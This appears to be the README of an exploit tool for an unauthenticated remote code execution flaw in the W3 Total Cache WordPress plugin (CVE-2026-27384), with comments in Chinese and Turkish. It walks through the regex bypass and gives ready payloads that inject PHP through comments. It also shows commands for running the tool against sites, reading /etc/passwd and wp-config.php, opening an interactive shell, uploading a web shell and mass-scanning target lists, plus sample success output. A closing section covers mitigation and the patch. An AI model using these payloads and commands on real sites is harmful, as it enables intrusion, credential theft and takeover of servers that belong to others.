<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

攻击者 payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfunc 与 token 之间没有空格

strip 函数:   \s+ → 不匹配 → payload 保留
execution regex:    \s* → 匹配  → eval() 执行

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

W3TC_DYNAMIC_SECURITY = '.'   (regex 元字符 — 任意字符)
        │
        ▼
攻击者提交评论:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  需要 \s+，没有空格 → 已绕过 ✅
        │
        ▼
评论被保存到数据库，页面被缓存
        │
        ▼
第二次 HTTP 请求 → W3TC 从缓存提供页面
  _has_dynamic() → mfunc\s*.  → 'A' 匹配 → 返回 true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' 匹配
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 未认证 RCE ✓

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requests
beautifulsoup4

python w3tc_rce.py https://hedef.com

# id 命令
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# 读取 /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# 读取 wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# 手动指定 Post ID
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

=================================================================
  CVE-2026-27384 — W3TC mfunc 交互式 Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  用户   : www-data
  主机   : web01.hedef.com
  目录   : /var/www/html
  系统   : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  命令: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

python w3tc_rce.py https://hedef.com --mode detect

[+] W3TC 已安装！
    版本  : 2.9.1
    Cache  : True
[!] 版本 2.9.1 存在漏洞 (<= 2.9.1)!

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

标准标签 (会被 strip 捕获):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          有空格 → \s+ 匹配 → strip 删除

Bypass 标签 (绕过 strip, 触发 eval()):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
          无空格 → \s+ 不匹配 → strip 跳过
                      \s* 匹配 → eval() 执行

# Komut: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

1. W3TC 检测
   └─ readme.txt、header、body、插件目录

2. 评论系统检测
   └─ HTML form、REST API、post ID

3. Payload 注入 (48 个变体)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. 触发缓存
   ├─ 第 1 次请求 → cache miss → 页面渲染 → 写入缓存
   └─ 第 2 次请求 → cache hit → _parse_dynamic() → eval()

5. 提取输出
   └─ uid=、whoami、/path/、passwd、wp-config...

=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] 目标: https://hedef.com
  爬取中: [████████████████████] 100% (50/50) | 8.3/s

[+] 评论页面: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC 检测...
[+] 发现 W3TC！版本: 2.9.1
  [2] 评论系统检测...
[+] Post ID: 1 | Form: True | REST: True
  [3] Payload 注入 (id)...
[i] 已准备 48 个 payload 变体
  [4] 触发缓存...

[★] RCE 成功！
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  命令    : id
  输出    : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] 结果已保存 → w3tc_results.txt
[?] 打开 Shell? (y/n):

扫描中: [████████████████████] 100% (100/100) | 4.2/s

[★] 发现 7 个漏洞！
[+] 结果已保存 → w3tc_results.txt

cve-2026-27384/
├── w3tc_rce.py        # 主扫描器
├── requirements.txt   # 依赖
└── README.md          # 本文件

// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (en az 1 boşluk)
    ...
);